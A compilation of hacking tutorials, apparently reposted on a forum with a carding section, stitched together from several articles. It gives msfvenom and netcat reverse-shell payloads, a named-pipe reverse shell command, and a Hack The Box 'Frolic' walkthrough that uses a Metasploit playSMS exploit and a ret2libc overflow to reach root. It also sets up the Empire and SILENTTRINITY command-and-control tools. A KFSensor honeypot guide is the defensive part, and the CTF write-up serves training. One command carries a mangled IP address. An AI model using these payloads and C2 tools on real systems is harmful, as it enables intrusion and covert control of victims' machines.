Netcat can scan the UDP ports in a similar way it scanned the TCP ports. We are going to use [-u] parameter to invoke the UDP mode.
nc -vzu 192.168.1.6 80-90
1
nc -vzu 192.168.1.6 80-90
![[Image: 12.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-4tL-B5iisNo/XKJELF73KhI/AAAAAAAAdwg/uPjMcrfSzfkRMNikWU0c93MUnqPAmvywQCLcBGAs/s1600/12.png?w=687)
Reverse TCP Shell Exploitation
We can exploit a system using a combination of msfvenom and netcat. We will use msfvenom to create a payload and netcat to listen for the session. Firstly, we will have to create a payload.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.35 lport=2124 -f exe > /root/Desktop/1.exe
1
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.35 lport=2124 -f exe > /root/Desktop/1.exe
We are using the shell_reverse_tcp payload to get a session. We have provided with Local IP address and port and then exported the script inside an Executable(exe) file. Now we will create a listener using netcat on the port we provided during the payload creation. We will now have to send the payload file to the target. When the target will run the executable file, we will get a session on our netcat listener.
nc -lvvp 2124
1
nc -lvvp 2124
![[Image: 13.1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-7wpY-Pkg-y4/XKJEMQDFw4I/AAAAAAAAdws/0rRR0629C40gO03WXIg1bGR49gfEMDQIgCLcBGAs/s1600/13.1.png?w=687)
Randomize Port
If we can’t decide our very own port to start listener or establish our Netcat connection. Well, netcat has a special -r parameter for us which gives us randomize local port.
nc -lv -r
1
nc -lv -r
![[Image: 15.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-Vsmxr_FDUGU/XKJENJOhOKI/AAAAAAAAdw4/jU9J5aFkLv88yV4I267rgC9V8QTkvq55ACLcBGAs/s1600/15.png?w=687)
File Transfer
Netcat can be used to transfer the file across devices. Here we will create a scenario where we will transfer a file from a windows system to Kali Linux system. To send the file from the Windows, we will use the following command.
nc -v -w 30 -p 8888 -l < C:\netcat\output.txt
1
nc -v -w 30 -p 8888 -l < C:\netcat\output.txt
![[Image: 16.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-ZmAc6rl8N0A/XKJENlGhJtI/AAAAAAAAdw8/8ss0Dlugi7QkBjabhYPp1srSfeGij1pfACLcBGAs/s1600/16.png?w=687)
Now we will have to receive the file shared on Kali Linux. Here we will provide netcat with the Windows IP Address and the port which hosts the file. And write the output inside a text file. For doing this we will use the following command:
nc -v -w 2 192.168.1.4 8888 > output.txt
1
nc -v -w 2 192.168.1.4 8888 > output.txt
![[Image: 17.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-RRAcqIau8kg/XKJEOGdGQYI/AAAAAAAAdxA/BSzrhAgshEYUmVEfQXYts1TdWMZsh8YVgCLcBGAs/s1600/17.png?w=687)
Reverse Netcat Shell Exploitation
We will use msfvenom to create a payload and netcat to listen for the session. Firstly, we will have to create a payload.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.35 lport=6666 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.35 lport=6666 R
![[Image: 18.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-_W6_xIjuhm4/XKJEOeJz_aI/AAAAAAAAdxE/uwwbwfeFeD8eaOB_wxJoYwZfZ3FeWGz6gCLcBGAs/s1600/18.png?w=687)
So, when you execute the above command; you will get another command that has to be run in the target system, as shown in the image below, you will have your session as shown in the image above.
![[Image: 19.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-vGuFfKHg2Yc/XKJEOhTORBI/AAAAAAAAdxI/4YG1ZTugMlgg5e-iLeTrmIhm__eMZBpBACLcBGAs/s1600/19.png?w=687)
Another way to have a reverse shell is by executing the following command in the target system :
mknod /tmp/backpipe p
1
mknod /tmp/backpipe p
![[Image: 20.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-LwQsC2YS8GQ/XKJEPYD-NrI/AAAAAAAAdxQ/ziAPdj1u1ncj7-feOZcyIiTPms7HRdAnwCLcBGAs/s1600/20.png?w=687)
/bin/sh 0</tmp/backpipe | nc 192.168.1.35443 1>/tmp/backpipe
1
/bin/sh 0</tmp/backpipe | nc 192.168.1.35443 1>/tmp/backpipe
And then when you start netcat as shown in the image below, you will have a session.
![[Image: 21.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-uLfZLzS_C-c/XKJEPnZsyNI/AAAAAAAAdxU/K_54xWgEaHIS01Tfp7nheycO_dkibmlawCLcBGAs/s1600/21.png?w=687)
Banner Grabbing
To grab the target port banner from netcat, use the following command :
nc -v 192.168.1.2 22
1
nc -v 192.168.1.2 22
So, this was a basic guide to netcat. It’s quite an interesting tool to use as well as it is pretty easy.
![[Image: 22.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-DuU4f-igp7o/XKJEP5v8_9I/AAAAAAAAdxY/l_K9_ke9OQs69-kVrUlsJkB4tZXFSYqxgCLcBGAs/s1600/22.png?w=687)
In this article, however, we will set up a framework to draw in attacker so we can catch or study them. Since almost the majority of the attackers around the globe are focusing on Windows servers for the various of their known defects and vulnerabilities, we will set up a Windows framework to do only that. we will set up a honeypot. In the event that you abandon it ready for action, you can watch other attackers rehearsing their attack and prepare for it.
Table of Content:- Introduction to Honeypot
- Introduction to KFSensor
- Working of KFSensor
Introduction to Honeypot
Honeypot disguises itself as an actual server to give the false idea to the attackers and divert their attacks. Therefore,a honeypot should be set up just like the real server so that data can appear to be authentic by showing fake files, fake ports, fake directories, etc. As the honeypot creates the illusion of being legitimate; the attacker tends to believe that they have gained accessed of the real deal. One of the main differences is the area of the machine in connection to the genuine servers. The disguised machine is normally set someplace in the DMZ. This guarantees the inner system isn’t presented to the attacker. Honeypots work by checking and\or once in a while controlling the interloper amid their utilization of the Honeypot. This should be possible whether the assault originated all things considered or within the system, contingent upon the area of the distraction framework. Honeypots are commonly intended to review the action of an interloper, spare log documents, and record such occasions as the procedures began, orders, a record includes, erases, changes, and even keystrokes.
Introduction to KFSensor
KFSensor is a honeypot for a windows system. it also acts as an IDS. Its job is to attract and detect all the attackers in the network, hence the name ‘Honeypot’. It does so by imitating a vulnerable environment and disguising itself as a server and it way, it succeeds to not only catch the attacker but also helps to know their motive. It is specifically designed for windows therefore it contains a lot of windows dedicated unique features. It’s quite convenient to use and a user friendly due to its GUI based console, along with its low maintains.
Working of KFSensor
KFSensor’s role is to be a decoy server for the attackers in order to protect the real thing. It does its job perfectly by opening fake ports on the system where it’s installed and gathering the information when a connection is made. It does this in precisely the same way as a routine server program, such as a web server or an SMTP server. By doing this it sets up a target, or a honeypot server, that will record the activities of an attacker.
Working with KFSensor
After downloading and installing KFSensor, when you turn it on, you will see the following window. Here, click on next.
![[Image: Screenshot_4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-pqEHYHmz1lQ/XJ-LN_3ZYYI/AAAAAAAAdv8/pnr6vQP7PRQm2F8tQaUisp_mtmjFAzdugCLcBGAs/s1600/Screenshot_4.png?w=687&ssl=1)
Then it will ask you to select the ports as shown in the image below, after selecting the ports click on next button.
![[Image: Screenshot_5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-3H8Ez2mvg1w/XJ-LN6Dqa8I/AAAAAAAAdv4/V6-3TK3l4_0XbQntVYnyPUk5VeNf2FBdgCLcBGAs/s1600/Screenshot_5.png?w=687&ssl=1)
Then it will ask you if you want get email notification of its alerts over the time. So, here, you can add the email from which you want to send and the email where you want to receive the mails.
![[Image: Screenshot_6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-c1Up1ykK4fk/XJ-LOSrkkkI/AAAAAAAAdwA/AnGtbTspoQMNdfoTI5KCgNhzb8QkmsMSACLcBGAs/s1600/Screenshot_6.png?w=687&ssl=1)
After these formalities, click on finish button.
![[Image: Screenshot_7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-xY13RyMIs54/XJ-LOz4qSsI/AAAAAAAAdwE/kVOe8C0IeroV-rtRbRHTkHeBnc-NeSqAwCLcBGAs/s1600/Screenshot_7.png?w=687&ssl=1)
Once, you click on the finish button, it will show you the following window.
![[Image: Screenshot_8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-7pup98-5te4/XJ-LPRyz_3I/AAAAAAAAdwI/gzSL6DpCsrsxMIcBM35DyI80kG5t7y1SwCLcBGAs/s1600/Screenshot_8.png?w=687&ssl=1)
Now, as the honeypot has been setup, if you scan the victim target (which is installed with honeypot) using nmap, it will show you all the ports open ass a decoy, just like its shown in the image below :
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-aprF5m7IIQ4/XJ-LMSKrgrI/AAAAAAAAdvs/26MOAKJBIqcvBVJYEZvIaanFLmHpgkCIACLcBGAs/s1600/9.png?w=687&ssl=1)
And in KFSensor it will show the details of the scan along with its IP. It will also generate an alarm to alert you.
![[Image: Screenshot_10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-lYJxFsVJCqU/XJ-LMLg9QLI/AAAAAAAAdvk/p03uRtJjyWA5QDx5_7_J2RX7bhsd_tn0ACLcBGAs/s1600/Screenshot_10.png?w=687&ssl=1)
If the attacker is using any other tool to scan the network, like Nessus, even then the working of KFSensor will be same. For instance, if the attack is through Nessus as shown in the image below :
![[Image: Screenshot_11.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-I5BA3uYJOY0/XJ-LMMnYgEI/AAAAAAAAdvo/l_EMYu4A7r8gvhjH1Y7Q9b_1cUiygrCTgCLcBGAs/s1600/Screenshot_11.png?w=687&ssl=1)
And when the attack from Nessus is completed, it will show you the faux result as you can see in the image below :
![[Image: Screenshot_12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-uMYecaNIO8M/XJ-LNDZQkqI/AAAAAAAAdvw/uDzWSQIQLRYSZ7_RR2G9rAKFx_Qymwj6wCLcBGAs/s1600/Screenshot_12.png?w=687&ssl=1)
And similarly, the KFSensor will alert you as it is shown in the image below :
![[Image: Screenshot_13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ZDudzCjv8wI/XJ-LNt9KxKI/AAAAAAAAdv0/3bAqcEtACDwcbvcFLbSLilBNRO-w_xo8QCLcBGAs/s1600/Screenshot_13.png?w=687&ssl=1)
This way, KFSenor is the best way to detect and confuse the attacker in order to save yourself and be cautious.
Today we are going to solve another CTF challenge “Frolic”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Frolic is 10.10.10.111
Penetrating Methodology- Network scanning (Nmap)
- Surfing HTTPS service port (9999)
- Enumerating directory using dirb
- Enumerating web application
- Finding Playsms management system
- Exploiting playsms and getting a reverse shell
- Getting user flag
- Finding SUID bit files
- Finding a vulnerability in the binary
- Exploiting binary and getting a root shell
- Getting the root flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV 10.10.10.111
1
nmap -sV 10.10.10.111
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-nocpZGsS0Wc/XJ99S7KavwI/AAAAAAAAdtw/K3iSBgY8ogUulKJxykLWCToYcExP5boTgCLcBGAs/s1600/1.png?w=687&ssl=1)
The Nmap scan shows us that there are 4 ports are open: 22(SSH), 139(SMB), 445(SMB), 9999(HTTP)
As port 9999 is running HTTP service, we open the IP address in the web browser.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-EnImoxu5XxA/XJ99VM4NNoI/AAAAAAAAduM/JGMFBOrP41870j8to6We0ldiXuC7pCvjQCLcBGAs/s1600/2.png?w=687&ssl=1)
We don’t find anything on the web page, so we further enumerate the web service using dirb scan.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-IVsxj7QvUFY/XJ99XjfeWvI/AAAAAAAAdus/A40LdIfTSJ0unIu-3LE_coG5ehCEspdxQCLcBGAs/s1600/3.png?w=687&ssl=1)
Dirb scan gave us a few interesting looking links, we open a link called /admin/ and find a login page.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-NJD66bLIxmk/XJ99Yv4zVBI/AAAAAAAAdu4/Uwq7RmZsj1gP8WFXm_JTw3N3amVHBkvIACLcBGAs/s1600/5.png?w=687&ssl=1)
We take a look at the source code and find a link called “login.js”.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-M8xAIfOaHqQ/XJ99ZDbsDkI/AAAAAAAAdu8/FgVge9lfeLM6rt4jMLLw6_zq3ZY6Z6mxwCLcBGAs/s1600/6.png?w=687&ssl=1)
We open the “login.js” and find username and password hardcoded in the JavaScript.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-xz5I2qAcDmQ/XJ99ZlzKSBI/AAAAAAAAdvE/kyub0_7NdDMQOYTW8MMzYF3scrEJP3iVgCLcBGAs/s1600/7.png?w=687&ssl=1)
We use the username and password we found earlier to login. After logging in we find “look” encoded string.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CKpi1FQsjBw/XJ99ZqwAc3I/AAAAAAAAdvA/1QmoZ0_gF_ULWxG8ju23vzfTQdleWvjiQCLcBGAs/s1600/8.png?w=687&ssl=1)
We decode the string and a link inside.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-n_d0NmPNZuY/XJ99aCeJpLI/AAAAAAAAdvI/U_InrE5w5ygodT-IO--3KKnfTfrFZcsIQCLcBGAs/s1600/9.png?w=687&ssl=1)
We open the link and find a page with base64 encoded string.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vTbGFMJAzFU/XJ99S40cJVI/AAAAAAAAdt0/et-HPLBYrJULm4m7UVeMGD8uK-4tVFm_wCLcBGAs/s1600/10.png?w=687&ssl=1)
We copy the base64 encoded string and save it in our system and then convert it and save it in a file. We check the file type and find it is a zip file. We try to extract it and find it is password protected. We use fcrackzip to bruteforce the zip file and find the password to be “password”. We extract the files from the zip file and find a file called index.php. We take a look at the content of the file and find hex encoded string.
base64 -d code > encodedfile
file encodedfile
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u encodedfile
unzip encodedfile
1
2
3
4
base64 -d code > encodedfile
file encodedfile
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u encodedfile
unzip encodedfile
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-FF2r5ONtbbg/XJ99SqXQukI/AAAAAAAAdts/PMKj7VUBV4wnCw8HEAwy19xrETd4FXfxgCLcBGAs/s1600/12.png?w=687&ssl=1)
We decoded the string using burpsuite and find a base64 encoded string. We decode the base64 encoded string and find a brainfuck encoded string.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2hohQGpiB64/XJ99To-pqcI/AAAAAAAAdt4/o38_ioDqwds3sPwIEfMPLw0QQzF6FvSngCLcBGAs/s1600/13.png?w=687&ssl=1)
We decoded the brainfuck encoded string and find a string called “idkwhatispass”.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-_eNMNghaXVw/XJ99UIcT2BI/AAAAAAAAduA/qNnyr-fB2n4VT_-kZnB5Fpq0Oexh0qzygCLcBGAs/s1600/14.png?w=687&ssl=1)
We open /playsms directory and find playsms CMS login page.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-vP3KR-QnQIw/XJ99UaKZGgI/AAAAAAAAduE/D3gCNtwEj0kJ0fiDUEeb_PPD_n8-5JdQgCLcBGAs/s1600/18.png?w=687&ssl=1)
We try username “admin” and password “idkwhatispass” to login and are successfully able to login. So we use Metasploit to get a reverse shell using these credentials.
msf > use exploit/multi/http/playsms_uploadcsv_exec
msf exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
msf exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
msf exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
msf exploit(multi/http/playsms_uploadcsv_exec) > set username admin
msf exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
msf exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0
msf exploit(multi/http/playsms_uploadcsv_exec) > exploit
1
2
3
4
5
6
7
8
msf > use exploit/multi/http/playsms_uploadcsv_exec
msf exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
msf exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
msf exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
msf exploit(multi/http/playsms_uploadcsv_exec) > set username admin
msf exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
msf exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0
msf exploit(multi/http/playsms_uploadcsv_exec) > exploit
After getting a reverse shell, we spawn a TTY shell and start enumerating the system. Inside /home/aysush directory we find a file called “user.txt”. We open the file and find the first flag. Then we start looking for files with SUID bit set and find a file called “rop” inside “/home/ayush/.binary” directory.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-i7VAZeuny6E/XJ99U6giS4I/AAAAAAAAduI/okle5J12kxQGSvHtlF9i1USk27Hzc3DlgCLcBGAs/s1600/19.png?w=687&ssl=1)
python -c "import pty; pty.spawn('/bin/bash')"
find / -perm -u=s -type f 2>/dev/null
1
2
python -c "import pty; pty.spawn('/bin/bash')"
find / -perm -u=s -type f 2>/dev/null
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-9D4SmSKhTck/XJ99VQUrLtI/AAAAAAAAduQ/jYLSQfqaLWsGrGEA1GwJM3_DaMDZMV3PQCLcBGAs/s1600/20.png?w=687&ssl=1)
The target machine doesn’t have “gdb”, so we download the “rop” file in our system and start looking for vulnerabilities. We create a 150 bytes long pattern with pattern_create.rb file in our system and then open the file with “gdb” and supply the pattern as an argument to our file. As soon as we run the application we get a segmentation fault. Now as we can overwrite instruction pointer that means the application is vulnerable to buffer overflow.
gdb -q rop
r <pattern>
1
2
gdb -q rop
r <pattern>
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6HwKliLo1W4/XJ99V86IzDI/AAAAAAAAduU/7GUTvcDOoewVJsLtG-JAoSns0rio-r0rwCLcBGAs/s1600/24.png?w=687&ssl=1)
We copy the value of EIP and use “pattern_offset.rb” script to find the EIP offset.
./pattern_offset -q 0x62413762
1
./pattern_offset -q 0x62413762
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-s8-6_NspxNY/XJ99WFRGd8I/AAAAAAAAduY/hR0nts1IZUgihPXsV8HndoHVBUINVSN3wCLcBGAs/s1600/25.png?w=687&ssl=1)
As it is difficult for us to make a jump to stack because we cannot get the address of the stack we want to jump. So we use ret2libc to exploit the vulnerability and get a shell. Now in our system, we first find the address of “system” function and a return address. Now we find the address of “/bin/sh” to execute using “system” function.
p system
p exit
find 0xf7e0c980, +9999999, "/bin/sh"
1
2
3
p system
p exit
find 0xf7e0c980, +9999999, "/bin/sh"
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Od2NluFJC4c/XJ99WaGodNI/AAAAAAAAduc/bg44jI2v7jQM_IgoroqBZOBmfsZuKJ9cgCLcBGAs/s1600/26.png?w=687&ssl=1)
We write an exploit and check if we can exploit the application to spawn a shell.
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-c-B0a89FUf8/XJ99WquVI4I/AAAAAAAAdug/sauoAK8m0FwtCbu3bDwJEq2LLTF0N2rIgCLcBGAs/s1600/27.png?w=687&ssl=1)
We run the exploit in our system and are successfully able to spawn a shell.
r $(python exploit.py)
1
r $(python exploit.py)
![[Image: 28.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AgG60jS5JLA/XJ99W-E7UiI/AAAAAAAAduk/pLXYhmwJ4XcaiySrzCURxtMIhFuw_c6GACLcBGAs/s1600/28.png?w=687&ssl=1)
Now we cannot directly run this exploit on the target system, as we don’t have the addresses of the libc functions of the target system. We are going to change the addresses of the exploit according to the target machine. First, get the address of libc used by the binary. As we don’t have gdb in the target system, so we use readelf, strings and grep to find “system”, “exit” and “/bin/sh” for our exploit.
ldd /home/ayush/.binary/rop |grep libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
1
2
3
4
ldd /home/ayush/.binary/rop |grep libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
![[Image: 29.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LCj8i6XHvig/XJ99XAsTmeI/AAAAAAAAduo/ZP1UOE72sfMMOXuV20dFa3q5OBPp_wwxQCLcBGAs/s1600/29.png?w=687&ssl=1)
We have to add the value of “system”, “exit” and “/bin/sh” to the address of libc to get the address of “system”, “exit” and “/bin/sh”.Now we make the following changes to the exploit. You can download the exploit from here.
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cwYO_eqbLes/XJ99YFF1f9I/AAAAAAAAduw/0-DUeV2vbNcQEpInlfAijz-es_b0bLarACLcBGAs/s1600/30.png?w=687&ssl=1)
We transfer the exploit to the target machine and run the exploit. As soon as we run the exploit we are able to spawn a shell as the root user.
/home/ayush/.binary/rop $(python /tmp/exploit.py)
1
/home/ayush/.binary/rop $(python /tmp/exploit.py)
After getting a reverse shell, we switch to /root directory and get a file called “root.txt”. We take a look at the content of the file and get the final flag.
![[Image: 31.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-s1rbbU6Jcjg/XJ99YXuKrhI/AAAAAAAAdu0/SkNslySnjbwJtRyw6-4dvjSjoH-niZ0lQCLcBGAs/s1600/31.png?w=687&ssl=1)
This is our 8th post in the series of the empire which covers how to use empire as GUI. Empire has a great GUI mechanism, but it’s still developing as it has been released just a while back. For empire GUI to work, we need to download all of its dependencies and this is where it gets a bit complicated. So, first of all, we will download the beta 3.0 version of empire as it’s the only version compatible with the GUI. Using the following commands:
git init
git remote add -t "3.0-beta" -f origin "//github.com/EmpireProject/Empire"
1
2
git init
git remote add -t "3.0-beta" -f origin "//github.com/EmpireProject/Empire"
![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-vlBEOdrEPEA/XJupIXlXk0I/AAAAAAAAdqo/sygZx2ezi68kp1KEA_da9zwu-nDrk9-KQCLcBGAs/s1600/1.png?w=687)
Now run the following command as instructed on the GitHub page :
git checkout 3.0-Beta
1
git checkout 3.0-Beta
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-gNT6ElPRYk0/XJupJ0waskI/AAAAAAAAdq8/DvAQgrhTg_wxxgdB9h0iImm57MoUqkSRwCLcBGAs/s1600/2.png?w=687)
Now to install the beta version, type the following command :
./setup/install.sh
1
./setup/install.sh
![[Image: 3.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-k3jxlnaU8GQ/XJupKbrd_SI/AAAAAAAAdrA/8qdIi6sjYUgvssPK8tvEn_NuTSFeeOrDgCLcBGAs/s1600/3.png?w=687)
Now to run empire use the following as it will link the command line to GUI version :
./empire –server –shared_password 12345 –port 1337
1
./empire –server –shared_password 12345 –port 1337
![[Image: 4.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-u38oZR5Whiw/XJupKitSVJI/AAAAAAAAdrE/iSSK3wRJbCk7GG7qr3PQzYHZSfHVXR9AwCLcBGAs/s1600/4.png?w=687)
And as shown in the image below, the Empire will start.
![[Image: 5.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-UMQ6K74zv08/XJupKxjNykI/AAAAAAAAdrI/_MVYN4t6L1Ivq-THOCPlqB-KBhV6w1OFACLcBGAs/s1600/5.png?w=687)
Now, download the GUI of empire from GitHub using the following command :
git clone //github.com/EmpireProject/EmpireGUI.git
1
git clone //github.com/EmpireProject/EmpireGUI.git
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-9V-4xAmesR4/XJupLPcESZI/AAAAAAAAdrM/W5Uo3EHwfEEnGGqGCDyldCnNeVEBLmy-gCLcBGAs/s1600/6.png?w=687)
Now that GUI of empire and the beta version of empire has been downloaded, we need to install its dependencies for it to work successfully. And for that, we will have to download nodejs first and to download it, type :
apt install nodejs
1
apt install nodejs
And in time, it will be installed as shown in the image below :
![[Image: 7.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-t6wAb4Oq6RE/XJupLn5FWRI/AAAAAAAAdrQ/hbjaTjd76aISqIOEFsEfY3ACgd64ona4QCLcBGAs/s1600/7.png?w=687)
After nodejs, we have to download npm and for that type :
apt install npm
1
apt install npm
![[Image: 8.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-m37Du8yOabw/XJupLx65PyI/AAAAAAAAdrU/VzZkDjnxDK8Cu5pclDcqtN1xm9P8iT5ewCLcBGAs/s1600/8.png?w=687)
As its download, like in the image above, now run the following command in order to install it :
npm install
1
npm install
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-9no4COXL280/XJupMU6kFrI/AAAAAAAAdrY/qC_1uHIvsZsUL4xwcc6lr0m1__gf-0sPgCLcBGAs/s1600/9.png?w=687)
And then start the npm service, as shown in the image below, with the following command :
npm start
1
npm start
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Hmw6WO9qerw/XJupIVGhH6I/AAAAAAAAdqs/jsgEFMgclwo0KJpbnb2jqS7mnNsu84o1ACLcBGAs/s1600/10.png?w=687)
After all this, the GUI of empire will start as shown in the image below :
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Os1zWwSq-aI/XJupIIlzXdI/AAAAAAAAdqk/6gq7xB1lowQCbjucFVDoeMdbFz1yUd2fQCLcBGAs/s1600/11.png?w=687)
Moving further once the GUI of empire is up and running, create a stager and get an agent from the beta version of empire, while getting a session, remember to use port 1337 as that is the port the GUI works on.
![[Image: 12.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-MhAoI2WGIG0/XJupJIXXMJI/AAAAAAAAdqw/QpHHUC7vz14eg9P1g7LZgdqh-peC29MjACLcBGAs/s1600/12.png?w=687)
Now, on the GUI, log in using your IP and port and other details as shown in the image below :
![[Image: 13.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-msCTMzeNiHo/XJupJa4FK4I/AAAAAAAAdq0/l0zJlRGN4SQZgL8sxdTmp_bRpjQ5T3A1ACLcBGAs/s1600/13.png?w=687)
And as you will login, it will show you all the sessions you have, just like in the image below :
Here, all the shell commands will work as shown in the image above. As the GUI is still developing, we can’t use it for post exploitations. But it, it comes pretty handy in order to manage multiple sessions and it helps you understand it’s working better.
|
|
|
|
| [Guide] How to Command & Control: Silenttrinity Post-Exploitation Agent |
|
Posted by: NINZA - 05-14-2020, 11:56 AM - Forum: Carders Home
- No Replies
|
 |
In this article, we will learn to use Silent Trinity tool to exploit windows.
Table of content: - Introduction
- Installation
- Windows exploitation
- Windows post exploitation
- Silent trinity to meterpreter
Introduction
Silent trinity is a command and control tool dedicated to windows. It is developed by byt3bl33d3r in python, iron python, C# and .net. as it is windows dedicated tool, C# was but obvious choice as it has a direct access .NET framework just like PowerShell. Its an amazing post exploitation tool for windows. This tool supports C2 server over HTTP 1.1.
Installation
Installing silent trinity is pretty easy as you just have to download it using git clone and then install its dependencies using pip command. To download silent trinity, use the following command :
git clone //github.com/byt3bl33d3r/SILENTTRINITY
1
git clone //github.com/byt3bl33d3r/SILENTTRINITY
![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-Zg879nwgzTU/XJOVrj1oCCI/AAAAAAAAdpE/kY_2iLT84P8xMipnRxwqISYiSzs1m2IugCLcBGAs/s1600/1.png?w=687)
Now to install all the requirements using the following commands :
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-hbLZTPNyfl4/XJOVuCv_e2I/AAAAAAAAdpo/SPICqtQKZbIS_2VFTNlxou3-zCs24e1JQCLcBGAs/s1600/2.png?w=687)
Once the installation is complete, start the said tool as shown in the image below :
![[Image: 3.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-mUwBXBGkyYI/XJOVuZIUeVI/AAAAAAAAdps/D2wcU4w1eh46UwCiv0RRJx5QMt7WGrFLACLcBGAs/s1600/3.png?w=687)
Windows Exploitation
As the tool is up and running, use ‘list’ command to see the list of listeners available. As you can see in the image below only listeners are available i.e. http, and https. To start the listener, use the following set of commands :
use http
start
1
2
use http
start
When starting the listener, there is no need to give IP address or port as it automatically takes the IP of the local machine and the port is always pre-defined, depending on the listener, such as port 80 is specified for the listener http and port 443 is specified for the listener https. Now, as you can see that in the image below, with the help of the above commands our listener has started :
![[Image: 4.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Siq1Ry9tOnY/XJOVuhscqJI/AAAAAAAAdpw/-zc_oY1Qhx0_imRYf5R0G5oBdmerY7Y_gCLcBGAs/s1600/4.png?w=687)
